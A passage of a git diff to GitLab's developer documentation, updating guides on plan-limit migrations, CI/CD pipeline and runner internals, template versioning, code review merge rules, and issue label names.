- add_column(:plan_limits, :project_hooks, :integer, default: 100, null: false)
- ```
-
- NOTE: **Note:**
- Plan limits entries set to `0` mean that limits are not
- enabled. You should use this setting only in special and documented circumstances.
-
-1. (Optionally) Create the database migration that fine-tunes each level with
- a desired limit using `create_or_update_plan_limit` migration helper, such as:
-
- ```ruby
- class InsertProjectHooksPlanLimits < ActiveRecord::Migration[5.2]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- create_or_update_plan_limit('project_hooks', 'default', 0)
- create_or_update_plan_limit('project_hooks', 'free', 10)
- create_or_update_plan_limit('project_hooks', 'bronze', 20)
- create_or_update_plan_limit('project_hooks', 'silver', 30)
- create_or_update_plan_limit('project_hooks', 'gold', 100)
- end
-
- def down
- create_or_update_plan_limit('project_hooks', 'default', 0)
- create_or_update_plan_limit('project_hooks', 'free', 0)
- create_or_update_plan_limit('project_hooks', 'bronze', 0)
- create_or_update_plan_limit('project_hooks', 'silver', 0)
- create_or_update_plan_limit('project_hooks', 'gold', 0)
- end
- end
- ```
-
-NOTE: **Note:**
-Some plans exist only on GitLab.com. This will be no-op
-for plans that do not exist.
+In the `plan_limits` table, create a new column and insert the limit values.
+It's recommended to create two separate migration script files.
+
+1. Add a new column to the `plan_limits` table with non-null default value that
+ represents desired limit, such as:
+
+ ```ruby
+ add_column(:plan_limits, :project_hooks, :integer, default: 100, null: false)
+ ```
+
+ NOTE: **Note:**
+ Plan limits entries set to `0` mean that limits are not enabled. You should
+ use this setting only in special and documented circumstances.
+
+1. (Optionally) Create the database migration that fine-tunes each level with a
+ desired limit using `create_or_update_plan_limit` migration helper, such as:
+
+ ```ruby
+ class InsertProjectHooksPlanLimits < ActiveRecord::Migration[5.2]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ create_or_update_plan_limit('project_hooks', 'default', 0)
+ create_or_update_plan_limit('project_hooks', 'free', 10)
+ create_or_update_plan_limit('project_hooks', 'bronze', 20)
+ create_or_update_plan_limit('project_hooks', 'silver', 30)
+ create_or_update_plan_limit('project_hooks', 'gold', 100)
+ end
+
+ def down
+ create_or_update_plan_limit('project_hooks', 'default', 0)
+ create_or_update_plan_limit('project_hooks', 'free', 0)
+ create_or_update_plan_limit('project_hooks', 'bronze', 0)
+ create_or_update_plan_limit('project_hooks', 'silver', 0)
+ create_or_update_plan_limit('project_hooks', 'gold', 0)
+ end
+ end
+ ```
+
+ NOTE: **Note:**
+ Some plans exist only on GitLab.com. This will be a no-op for plans
+ that do not exist.
### Plan limits validation
diff --git a/doc/development/approval_rules.md b/doc/development/approval_rules.md
index 65df82721de..f295c20a36f 100644
--- a/doc/development/approval_rules.md
+++ b/doc/development/approval_rules.md
@@ -81,7 +81,7 @@ The `ApprovalState` model get these records when approval rules are not
overwritten.
The `protected_branches` attribute is set and used when a rule is scoped to
-protected branches. See [Scoped to Protected Branch doc](../user/project/merge_requests/merge_request_approvals.md#scoped-to-protected-branch-premium)
+protected branches. See [Scoped to Protected Branch doc](../user/project/merge_requests/merge_request_approvals.md#scoped-to-protected-branch)
for more information about the feature.
### `ApprovalMergeRequestRule`
diff --git a/doc/development/architecture.md b/doc/development/architecture.md
index 963e1e618a1..f6b1c8cd914 100644
--- a/doc/development/architecture.md
+++ b/doc/development/architecture.md
@@ -173,7 +173,7 @@ Table description links:
| [Gitaly](#gitaly) | Git RPC service for handling all Git calls made by GitLab | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE |
| [GitLab Exporter](#gitlab-exporter) | Generates a variety of GitLab metrics | ✅ | ✅ | ✅ | ✅ | ⌠| ⌠| CE & EE |
| [GitLab Geo Node](#gitlab-geo) | Geographically distributed GitLab nodes | ⚙ | ⚙ | ⌠| ✅ | ⌠| ⚙ | EE Only |
-| [GitLab Managed Apps](#gitlab-managed-apps) | Deploy Helm, Ingress, Cert-Manager, Prometheus, a Runner, JupyterHub, or Knative to a cluster | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE |
+| [GitLab Managed Apps](#gitlab-managed-apps) | Deploy Helm, Ingress, Cert-Manager, Prometheus, GitLab Runner, JupyterHub, or Knative to a cluster | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE |
| [GitLab Pages](#gitlab-pages) | Hosts static websites | ⚙ | ⌠| ⌠| ✅ | ⚙ | ⚙ | CE & EE |
| [GitLab self-monitoring: Alertmanager](#alertmanager) | Deduplicates, groups, and routes alerts from Prometheus | ⚙ | ✅ | ⚙ | ✅ | ⌠| ⌠| CE & EE |
| [GitLab self-monitoring: Grafana](#grafana) | Metrics dashboard | ✅ | ⚙ | ⤓ | ✅ | ⌠| ⌠| CE & EE |
@@ -259,7 +259,7 @@ Consul is a tool for service discovery and configuration. Consul is distributed,
- Configuration:
- [Omnibus](https://docs.gitlab.com/omnibus/settings/database.html#disabling-automatic-database-migration)
- [Charts](https://docs.gitlab.com/charts/charts/gitlab/migrations/)
- - [Source](../update/upgrading_from_source.md#13-install-libraries-migrations-etc)
+ - [Source](../update/upgrading_from_source.md#14-install-libraries-migrations-etc)
- Layer: Core Service (Data)
#### Elasticsearch
@@ -304,7 +304,7 @@ repository updates to secondary nodes.
#### GitLab Geo
- Configuration:
- - [Omnibus](../administration/geo/replication/index.md#setup-instructions)
+ - [Omnibus](../administration/geo/setup/index.md)
- [Charts](https://docs.gitlab.com/charts/advanced/geo/)
- [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/geo.md)
- Layer: Core Service (Processor)
@@ -555,7 +555,7 @@ Redis is packaged to provide a place to store:
- [Project page](https://github.com/docker/distribution/blob/master/README.md)
- Configuration:
- - [Omnibus](../update/upgrading_from_source.md#13-install-libraries-migrations-etc)
+ - [Omnibus](../update/upgrading_from_source.md#14-install-libraries-migrations-etc)
- [Charts](https://docs.gitlab.com/charts/charts/registry/)
- [Source](../administration/packages/container_registry.md#enable-the-container-registry)
- [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/registry.md)
@@ -665,7 +665,7 @@ You can install them after you create a cluster. This includes:
- [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/)
- [Cert-Manager](https://cert-manager.io/docs/)
- [Prometheus](https://prometheus.io/docs/introduction/overview/)
-- a [Runner](https://docs.gitlab.com/runner/)
+- [GitLab Runner](https://docs.gitlab.com/runner/)
- [JupyterHub](https://jupyter.org)
- [Knative](https://cloud.google.com/knative/)
diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md
index 6bdc77fff63..bf259e47cb1 100644
--- a/doc/development/auto_devops.md
+++ b/doc/development/auto_devops.md
@@ -38,8 +38,7 @@ Some jobs use images that are built from external projects:
in which the jobs defined in this template use an image that is built using the
[`auto-deploy-image`](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image)
project. By default, the Helm chart defined in
- [`auto-deploy-app`](https://gitlab.com/gitlab-org/charts/auto-deploy-app)
- is used to deploy.
+ [`auto-deploy-app`](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) is used to deploy.
There are extra variables that get passed to the CI jobs when Auto
DevOps is enabled that are not present in a normal CI job. These can be
diff --git a/doc/development/changelog.md b/doc/development/changelog.md
index 8aaf4056384..f57e666540c 100644
--- a/doc/development/changelog.md
+++ b/doc/development/changelog.md
@@ -30,7 +30,8 @@ the `author` field. GitLab team members **should not**.
## What warrants a changelog entry?
- Any change that introduces a database migration, whether it's regular, post,
- or data migration, **must** have a changelog entry.
+ or data migration, **must** have a changelog entry, even if it is behind a
+ disabled feature flag.
- [Security fixes](https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md)
**must** have a changelog entry, without `merge_request` value
and with `type` set to `security`.
@@ -113,6 +114,11 @@ the `--ee` option:
bin/changelog --ee 'Hey DZ, I added a feature to GitLab!'
```
+NOTE: **Note:**
+All entries in the `CHANGELOG.md` file apply to all editions of GitLab.
+Changelog updates are based on a common [GitLab codebase](https://gitlab.com/gitlab-org/gitlab/),
+and are mirrored without proprietary code to [GitLab FOSS](https://gitlab.com/gitlab-org/gitlab-foss/) (also known as GitLab Community Edition).
+
At this point the script would ask you to select the category of the change (mapped to the `type` field in the entry):
```plaintext
diff --git a/doc/development/chatops_on_gitlabcom.md b/doc/development/chatops_on_gitlabcom.md
index 0dd916c37fd..3c1c7750842 100644
--- a/doc/development/chatops_on_gitlabcom.md
+++ b/doc/development/chatops_on_gitlabcom.md
@@ -21,7 +21,7 @@ To request access to Chatops on GitLab.com:
1. Log into <https://ops.gitlab.net/users/sign_in> **using the same username** as for GitLab.com (you may have to rename it).
1. You could also use the "Sign in with" Google button to sign in, with your GitLab.com email address.
-1. Ask in the [#production](https://gitlab.slack.com/messages/production) channel for an existing member to add you to the `chatops` project in Ops. They can do it by running `/chatops run member add <username> gitlab-com/chatops --ops` command in that channel.
+1. Ask one of your team members to add you to the `chatops` project in Ops. They can do it by running `/chatops run member add <username> gitlab-com/chatops --ops` command in the `#chat-ops-test` Slack channel.
NOTE: **Note:**
If you had to change your username for GitLab.com on the first step, make sure [to reflect this information](https://gitlab.com/gitlab-com/www-gitlab-com#adding-yourself-to-the-team-page) on [the team page](https://about.gitlab.com/company/team/).
diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md
index 5b598a19a6e..30ccc52ec5e 100644
--- a/doc/development/cicd/index.md
+++ b/doc/development/cicd/index.md
@@ -25,7 +25,7 @@ On the left side we have the events that can trigger a pipeline based on various
- The [Web API](../../api/pipelines.md#create-a-new-pipeline).
- A user clicking the "Run Pipeline" button in the UI.
- When a [merge request is created or updated](../../ci/merge_request_pipelines/index.md#pipelines-for-merge-requests).
-- When an MR is added to a [Merge Train](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#merge-trains-premium).
+- When an MR is added to a [Merge Train](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#merge-trains).
- A [scheduled pipeline](../../ci/pipelines/schedules.md#pipeline-schedules).
- When project is [subscribed to an upstream project](../../ci/multi_project_pipelines.md#trigger-a-pipeline-when-an-upstream-project-is-rebuilt).
- When [Auto DevOps](../../topics/autodevops/index.md) is enabled.
@@ -53,28 +53,28 @@ The component that processes a pipeline is [`ProcessPipelineService`](https://gi
which is responsible for moving all the pipeline's jobs to a completed state. When a pipeline is created, all its
jobs are initially in `created` state. This services looks at what jobs in `created` stage are eligible
to be processed based on the pipeline structure. Then it moves them into the `pending` state, which means
-they can now [be picked up by a Runner](#job-scheduling). After a job has been executed it can complete
+they can now [be picked up by a runner](#job-scheduling). After a job has been executed it can complete
successfully or fail. Each status transition for job within a pipeline triggers this service again, which
looks for the next jobs to be transitioned towards completion. While doing that, `ProcessPipelineService`
updates the status of jobs, stages and the overall pipeline.
-On the right side of the diagram we have a list of [Runners](../../ci/runners/README.md#configuring-gitlab-runners)
-connected to the GitLab instance. These can be Shared Runners, Group Runners or Project-specific Runners.
-The communication between Runners and the Rails server occurs through a set of API endpoints, grouped as
+On the right side of the diagram we have a list of [runners](../../ci/runners/README.md)
+connected to the GitLab instance. These can be shared runners, group runners, or project-specific runners.
+The communication between runners and the Rails server occurs through a set of API endpoints, grouped as
the `Runner API Gateway`.
-We can register, delete and verify Runners, which also causes read/write queries to the database. After a Runner is connected,
+We can register, delete, and verify runners, which also causes read/write queries to the database. After a runner is connected,
it keeps asking for the next job to execute. This invokes the [`RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb)
-which will pick the next job and assign it to the Runner. At this point the job will transition to a
+which will pick the next job and assign it to the runner. At this point the job will transition to a
`running` state, which again triggers `ProcessPipelineService` due to the status change.
For more details read [Job scheduling](#job-scheduling)).
-While a job is being executed, the Runner sends logs back to the server as well any possible artifacts
+While a job is being executed, the runner sends logs back to the server as well any possible artifacts
that need to be stored. Also, a job may depend on artifacts from previous jobs in order to run. In this
-case the Runner will download them using a dedicated API endpoint.
+case the runner will download them using a dedicated API endpoint.
Artifacts are stored in object storage, while metadata is kept in the database. An important example of artifacts
-is reports (JUnit, SAST, DAST, etc.) which are parsed and rendered in the merge request.
+are reports (JUnit, SAST, DAST, etc.) which are parsed and rendered in the merge request.
Job status transitions are not all automated. A user may run [manual jobs](../../ci/yaml/README.md#whenmanual), cancel a pipeline, retry
specific failed jobs or the entire pipeline. Anything that
@@ -90,25 +90,25 @@ from the `CreatePipelineService` every time a downstream pipeline is triggered.
When a Pipeline is created all its jobs are created at once for all stages, with an initial state of `created`. This makes it possible to visualize the full content of a pipeline.
-A job with the `created` state won't be seen by the Runner yet. To make it possible to assign a job to a Runner, the job must transition first into the `pending` state, which can happen if:
+A job with the `created` state won't be seen by the runner yet. To make it possible to assign a job to a runner, the job must transition first into the `pending` state, which can happen if:
1. The job is created in the very first stage of the pipeline.
1. The job required a manual start and it has been triggered.
1. All jobs from the previous stage have completed successfully. In this case we transition all jobs from the next stage to `pending`.
1. The job specifies DAG dependencies using `needs:` and all the dependent jobs are completed.
-When the Runner is connected, it requests the next `pending` job to run by polling the server continuously.
+When the runner is connected, it requests the next `pending` job to run by polling the server continuously.
NOTE: **Note:**
-API endpoints used by the Runner to interact with GitLab are defined in [`lib/api/runner.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/runner.rb)
+API endpoints used by the runner to interact with GitLab are defined in [`lib/api/ci/runner.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/ci/runner.rb)
-After the server receives the request it selects a `pending` job based on the [`Ci::RegisterJobService` algorithm](#ciregisterjobservice), then assigns and sends the job to the Runner.
+After the server receives the request it selects a `pending` job based on the [`Ci::RegisterJobService` algorithm](#ciregisterjobservice), then assigns and sends the job to the runner.
-Once all jobs are completed for the current stage, the server "unlocks" all the jobs from the next stage by changing their state to `pending`. These can now be picked by the scheduling algorithm when the Runner requests new jobs, and continues like this until all stages are completed.
+Once all jobs are completed for the current stage, the server "unlocks" all the jobs from the next stage by changing their state to `pending`. These can now be picked by the scheduling algorithm when the runner requests new jobs, and continues like this until all stages are completed.
-### Communication between Runner and GitLab server
+### Communication between runner and GitLab server
-Once the Runner is [registered](https://docs.gitlab.com/runner/register/) using the registration token, the server knows what type of jobs it can execute. This depends on:
+Once the runner is [registered](https://docs.gitlab.com/runner/register/) using the registration token, the server knows what type of jobs it can execute. This depends on:
- The type of runner it is registered as:
- a shared runner
@@ -116,30 +116,30 @@ Once the Runner is [registered](https://docs.gitlab.com/runner/register/) using
- a project specific runner
- Any associated tags.
-The Runner initiates the communication by requesting jobs to execute with `POST /api/v4/jobs/request`. Although this polling generally happens every few seconds we leverage caching via HTTP headers to reduce the server-side work load if the job queue doesn't change.
+The runner initiates the communication by requesting jobs to execute with `POST /api/v4/jobs/request`. Although this polling generally happens every few seconds we leverage caching via HTTP headers to reduce the server-side work load if the job queue doesn't change.
This API endpoint runs [`Ci::RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb), which:
1. Picks the next job to run from the pool of `pending` jobs
-1. Assigns it to the Runner
-1. Presents it to the Runner via the API response
+1. Assigns it to the runner
+1. Presents it to the runner via the API response
### `Ci::RegisterJobService`
-There are 3 top level queries that this service uses to gather the majority of the jobs and they are selected based on the level where the Runner is registered to:
+There are 3 top level queries that this service uses to gather the majority of the jobs and they are selected based on the level where the runner is registered to:
-- Select jobs for shared Runner (instance level)
-- Select jobs for group level Runner
-- Select jobs for project Runner
+- Select jobs for shared runner (instance level)
+- Select jobs for group runner
+- Select jobs for project runner
-This list of jobs is then filtered further by matching tags between job and Runner tags.
+This list of jobs is then filtered further by matching tags between job and runner tags.
NOTE: **Note:**
-If a job contains tags, the Runner will not pick the job if it does not match **all** the tags.
-The Runner may have more tags than defined for the job, but not vice-versa.
+If a job contains tags, the runner will not pick the job if it does not match **all** the tags.
+The runner may have more tags than defined for the job, but not vice-versa.
-Finally if the Runner can only pick jobs that are tagged, all untagged jobs are filtered out.
+Finally if the runner can only pick jobs that are tagged, all untagged jobs are filtered out.
-At this point we loop through remaining `pending` jobs and we try to assign the first job that the Runner "can pick" based on additional policies. For example, Runners marked as `protected` can only pick jobs that run against protected branches (such as production deployments).
+At this point we loop through remaining `pending` jobs and we try to assign the first job that the runner "can pick" based on additional policies. For example, runners marked as `protected` can only pick jobs that run against protected branches (such as production deployments).
-As we increase the number of Runners in the pool we also increase the chances of conflicts which would arise if assigning the same job to different Runners. To prevent that we gracefully rescue conflict errors and assign the next job in the list.
+As we increase the number of runners in the pool we also increase the chances of conflicts which would arise if assigning the same job to different runners. To prevent that we gracefully rescue conflict errors and assign the next job in the list.
diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md
index 0169ca42ac6..77cedc9814e 100644
--- a/doc/development/cicd/templates.md
+++ b/doc/development/cicd/templates.md
@@ -13,15 +13,15 @@ This document explains how to develop [GitLab CI/CD templates](../../ci/examples
All template files reside in the `lib/gitlab/ci/templates` directory, and are categorized by the following sub-directories:
-| Sub-directroy | Content | [Selectable in UI](#make-sure-the-new-template-can-be-selected-in-ui) |
-|---------------|--------------------------------------------------------------|-----------------------------------------------------------------------|
-| `/AWS/*` | Cloud Deployment (AWS) related jobs | No |
-| `/Jobs/*` | Auto DevOps related jobs | Yes |
-| `/Pages/*` | Static site generators for GitLab Pages (for example Jekyll) | Yes |
-| `/Security/*` | Security related jobs | Yes |
-| `/Verify/*` | Verify/testing related jobs | Yes |
-| `/Worklows/*` | Common uses of the `workflow:` keyword | No |
-| `/*` (root) | General templates | Yes |
+| Sub-directory | Content | [Selectable in UI](#make-sure-the-new-template-can-be-selected-in-ui) |
+|----------------|--------------------------------------------------------------|-----------------------------------------------------------------------|
+| `/AWS/*` | Cloud Deployment (AWS) related jobs | No |
+| `/Jobs/*` | Auto DevOps related jobs | No |
+| `/Pages/*` | Static site generators for GitLab Pages (for example Jekyll) | Yes |
+| `/Security/*` | Security related jobs | Yes |
+| `/Verify/*` | Verify/testing related jobs | Yes |
+| `/Workflows/*` | Common uses of the `workflow:` keyword | No |
+| `/*` (root) | General templates | Yes |
## Criteria
@@ -64,6 +64,67 @@ users have to fix their `.gitlab-ci.yml` that could annoy their workflow.
Please read [versioning](#versioning) section for introducing breaking change safely.
+## Versioning
+
+Versioning allows you to introduce a new template without modifying the existing
+one. This process is useful when we need to introduce a breaking change,
+but don't want to affect the existing projects that depends on the current template.
+
+### Stable version
+
+A stable CI/CD template is a template that only introduces breaking changes in major
+release milestones. Name the stable version of a template as `<template-name>.gitlab-ci.yml`,
+for example `Jobs/Deploy.gitlab-ci.yml`.
+
+You can make a new stable template by copying [the latest template](#latest-version)
+available in a major milestone release of GitLab like `13.0`. All breaking changes
+must be announced in a blog post before the official release, for example
+[GitLab.com is moving to 13.0, with narrow breaking changes](https://about.gitlab.com/releases/2020/05/06/gitlab-com-13-0-breaking-changes/)
+
+You can change a stable template version in a minor GitLab release like `13.1` if:
+
+- The change is not a [breaking change](#backward-compatibility).
+- The change is ported to [the latest template](#latest-version), if one exists.
+
+### Latest version
+
+Templates marked as `latest` can be updated in any release, even with
+[breaking changes](#backward-compatibility). Add `.latest` to the template name if
+it's considered the latest version, for example `Jobs/Deploy.latest.gitlab-ci.yml`.
+
+When you introduce [a breaking change](#backward-compatibility),
+you **must** test and document [the upgrade path](#verify-breaking-changes).
+In general, we should not promote the latest template as the best option, as it could surprise users with unexpected problems.
+
+If the `latest` template does not exist yet, you can copy [the stable template](#stable-version).
+
+### How to include an older stable template
+
+Users may want to use an older [stable template](#stable-version) that is not bundled
+in the current GitLab package. For example, the stable templates in GitLab v13.0 and
+GitLab v14.0 could be so different that a user will want to continue using the v13.0 template even
+after upgrading to GitLab 14.0.
+
+You can add a note in the template or in documentation explaining how to use `include:remote`
+to include older template versions. If other templates are included with `include: template`,
+they can be combined with the `include: remote`:
+
+```yaml
+# To use the v13 stable template, which is not included in v14, fetch the specifc
+# template from the remote template repository with the `include:remote:` keyword.
+# If you fetch from the GitLab canonical project, use the following URL format:
+# https://gitlab.com/gitlab-org/gitlab/-/raw/<version>/lib/gitlab/ci/templates/<template-name>
+include:
+ - template: Auto-DevOps.gitlab-ci.yml
+ - remote: https://gitlab.com/gitlab-org/gitlab/-/raw/v13.0.1-ee/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
+```
+
+### Further reading
+
+There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/17716) about
+introducing versioning concepts in GitLab CI Templates. You can check that issue to
+follow the progress.
+
## Testing
Each CI/CD template must be tested in order to make sure that it's safe to be published.
@@ -95,18 +156,20 @@ You should write an RSpec test to make sure that pipeline jobs will be generated
1. Add a test file at `spec/lib/gitlab/ci/templates/<template-category>/<template-name>_spec.rb`
1. Test that pipeline jobs are properly created via `Ci::CreatePipelineService`.
+### Verify breaking changes
+
+When you introduce a breaking change to [a `latest` template](#latest-version),
+you must:
+
+1. Test the upgrade path from [the stable template](#stable-version).
+1. Verify what kind of errors users will encounter.
+1. Document it as a troubleshooting guide.
+
+This information will be important for users when [a stable template](#stable-version)
+is updated in a major version GitLab release.
+
## Security
A template could contain malicious code. For example, a template that contains the `export` shell command in a job
might accidentally expose project secret variables in a job log.
If you're unsure if it's secure or not, you need to ask security experts for cross-validation.
-
-## Versioning
-
-Versioning allows you to introduce a new template without modifying the existing
-one. This is useful process especially when we need to introduce a breaking change,
-but don't want to affect the existing projects that depends on the current template.
-
-There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/17716) for
-introducing versioning concept in GitLab Ci Template. Please follow the issue for
-checking the progress.
diff --git a/doc/development/code_review.md b/doc/development/code_review.md
index 2159f7a9ed5..2e319efa5f3 100644
--- a/doc/development/code_review.md
+++ b/doc/development/code_review.md
@@ -99,6 +99,7 @@ with [domain expertise](#domain-experts).
1. If your merge request includes end-to-end **and** non-end-to-end changes (*3*), it must be **approved
by a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors)**.
1. If your merge request only includes end-to-end changes (*3*) **or** if the MR author is a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa)**
+1. If your merge request includes a new or updated [application limit](https://about.gitlab.com/handbook/product/product-processes/#introducing-application-limits), it must be **approved by a [product manager](https://about.gitlab.com/company/team/)**.
- (*1*): Please note that specs other than JavaScript specs are considered backend code.
- (*2*): We encourage you to seek guidance from a database maintainer if your merge
@@ -138,7 +139,7 @@ up confusion or verify that the end result matches what they had in mind, to
database specialists to get input on the data model or specific queries, or to
any other developer to get an in-depth review of the solution.
-If an author is unsure if a merge request needs a [domain experts's](#domain-experts) opinion, that's
+If an author is unsure if a merge request needs a [domain expert's](#domain-experts) opinion, that's
usually a pretty good sign that it does, since without it the required level of
confidence in their solution will not have been reached.
@@ -358,12 +359,13 @@ When ready to merge:
messy commit history that is intended to be squashed.
- **Start a new merge request pipeline with the `Run Pipeline` button in the merge
request's "Pipelines" tab, and enable "Merge When Pipeline Succeeds" (MWPS).** Note that:
- - If the **latest [Pipeline for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/#pipelines-for-merged-results-premium)** finished less than 2 hours ago, you
+ - If the **latest [Pipeline for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/#pipelines-for-merged-results)** finished less than 2 hours ago, you
might merge without starting a new pipeline as the merge request is close
enough to `master`.
- - If the **merge request is from a fork**, we can't use [Pipelines for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/index.md#prerequisites), therefore, they're more prone to breaking `master`.
- Check how far behind `master` the source branch is. If it's more than 100 commits behind, ask the author to
- rebase it before merging.
+ - If the **merge request is from a fork**, we can use [Pipelines for Merged Results from a forked project](../ci/merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project) with caution.
+ Before triggering the pipeline, review all changes for **malicious code**.
+ If you cannot trigger the pipeline, review the status of the fork relative to `master`.
+ If it's more than 100 commits behind, ask the author to rebase it before merging.
- If [master is broken](https://about.gitlab.com/handbook/engineering/workflow/#broken-master),
in addition to the two above rules, check that any failure also happens
in `master` and post a link to the ~"master:broken" issue before clicking the
diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md
index cea9043a333..7550fe69546 100644
--- a/doc/development/contributing/index.md
+++ b/doc/development/contributing/index.md
@@ -67,6 +67,11 @@ we credit the original author by adding a changelog entry crediting the author
and optionally include the original author on at least one of the commits
within the MR.
+## Closing policy for inactive bugs
+
+GitLab values the time spent by contributors on reporting bugs. However, if a bug remains inactive for a very long period,
+it will qualify for auto-closure. Please refer to the [auto-close inactive bugs](https://about.gitlab.com/handbook/engineering/quality/triage-operations/#auto-close-inactive-bugs) section in our handbook to understand the complete workflow.
+
## Helping others
Help other GitLab users when you can.
@@ -81,6 +86,11 @@ If you would like to contribute to GitLab:
- Issues with the
[`~Accepting merge requests` label](issue_workflow.md#label-for-community-contributors)
are a great place to start.
+- Optimizing our tests is another great opportunity to contribute. You can use
+ [RSpec profiling statistics](https://gitlab-org.gitlab.io/rspec_profiling_stats/) to identify
+ slowest tests. These tests are good candidates for improving and checking if any of
+ [best practices](../testing_guide/best_practices.md)
+ could speed them up.
- Consult the [Contribution Flow](#contribution-flow) section to learn the process.
If you have any questions or need help visit [Getting Help](https://about.gitlab.com/get-help/) to
diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md
index 76175cb7b66..bb7b4713a5e 100644
--- a/doc/development/contributing/issue_workflow.md
+++ b/doc/development/contributing/issue_workflow.md
@@ -36,21 +36,21 @@ project.
To allow for asynchronous issue handling, we use [milestones](https://gitlab.com/groups/gitlab-org/-/milestones)
and [labels](https://gitlab.com/gitlab-org/gitlab/-/labels). Leads and product managers handle most of the
-scheduling into milestones. Labeling is a task for everyone.
+scheduling into milestones. Labeling is a task for everyone. (For some projects, labels can be set only by GitLab team members and not by community contributors).
Most issues will have labels for at least one of the following:
-- Type: `~feature`, `~bug`, `~backstage`, `~documentation`, etc.
+- Type: `~feature`, `~bug`, `~tooling`, `~documentation`, etc.
- Stage: `~"devops::plan"`, `~"devops::create"`, etc.
- Group: `~"group::source code"`, `~"group::knowledge"`, `~"group::editor"`, etc.
-- Category: `~"Category:Code Analytics"`, `~"Category:DevOps Score"`, `~"Category:Templates"`, etc.
+- Category: `~"Category:Code Analytics"`, `~"Category:DevOps Reports"`, `~"Category:Templates"`, etc.
- Feature: `~wiki`, `~ldap`, `~api`, `~issues`, `~"merge requests"`, etc.
- Department: `~UX`, `~Quality`
- Team: `~"Technical Writing"`, `~Delivery`
- Specialization: `~frontend`, `~backend`, `~documentation`
- Release Scoping: `~Deliverable`, `~Stretch`, `~"Next Patch Release"`
-- Priority: `~P::1`, `~P::2`, `~P::3`, `~P::4`
-- Severity: ~`S::1`, `~S::2`, `~S::3`, `~S::4`
+- Priority: `~"priority::1"`, `~"priority::2"`, `~"priority::3"`, `~"priority::4"`
+- Severity: ~`"severity::1"`, `~"severity::2"`, `~"severity::3"`, `~"severity::4"`
All labels, their meaning and priority are defined on the
[labels page](https://gitlab.com/gitlab-org/gitlab/-/labels).
@@ -67,7 +67,7 @@ The current type labels are:
- ~feature
- ~bug
-- ~backstage
+- ~tooling
- ~"support request"
- ~meta
- ~documentation
@@ -93,9 +93,9 @@ Following is a non-exhaustive list of facet labels:
- ~enhancement: This label can refine an issue that has the ~feature label.
- ~"master:broken": This label can refine an issue that has the ~bug label.
- ~"failure::flaky-test": This label can refine an issue that has the ~bug label.
-- ~"technical debt": This label can refine an issue that has the ~backstage label.
-- ~"static analysis": This label can refine an issue that has the ~backstage label.
-- ~"ci-build": This label can refine an issue that has the ~backstage label.
+- ~"technical debt": This label can refine an issue that has the ~tooling label.
+- ~"static analysis": This label can refine an issue that has the ~tooling label.
+- ~"ci-build": This label can refine an issue that has the ~tooling label.
- ~performance: A performance issue could describe a ~bug or a ~feature.
- ~security: A security issue could describe a ~bug or a ~feature.
- ~database: A database issue could describe a ~bug or a ~feature.
@@ -118,7 +118,7 @@ the `gitlab-org` group since its key under `stages` is `manage`.
The current stage labels can be found by [searching the labels list for `devops::`](https://gitlab.com/groups/gitlab-org/-/labels?search=devops::).
-These labels are [scoped labels](../../user/project/labels.md#scoped-labels-premium)
+These labels are [scoped labels](../../user/project/labels.md#scoped-labels)
and thus are mutually exclusive.
The Stage labels are used to generate the [direction pages](https://about.gitlab.com/direction/) automatically.
@@ -145,7 +145,7 @@ under `stages.manage.groups` is `continuous_integration`.
The current group labels can be found by [searching the labels list for `group::`](https://gitlab.com/groups/gitlab-org/-/labels?search=group::).
-These labels are [scoped labels](../../user/project/labels.md#scoped-labels-premium)
+These labels are [scoped labels](../../user/project/labels.md#scoped-labels)
and thus are mutually exclusive.
You can find the groups listed in the [Product Stages, Groups, and Categories](https://about.gitlab.com/handbook/product/product-categories/) page.
@@ -188,9 +188,9 @@ their color is `#428BCA`.
`<Category Name>` is the category name as it is in the single source of truth for categories at
<https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml>.
-For instance, the "DevOps Score" category is represented by the
-~"Category:DevOps Score" label in the `gitlab-org` group since its
-`devops_score.name` value is "DevOps Score".
+For instance, the "DevOps Report" category is represented by the
+~"Category:DevOps Reports" label in the `gitlab-org` group since its
+`devops_reports.name` value is "DevOps Reports".
If a category's label doesn't respect this naming convention, it should be specified
with [the `label` attribute](https://about.gitlab.com/handbook/marketing/website/#category-attributes)
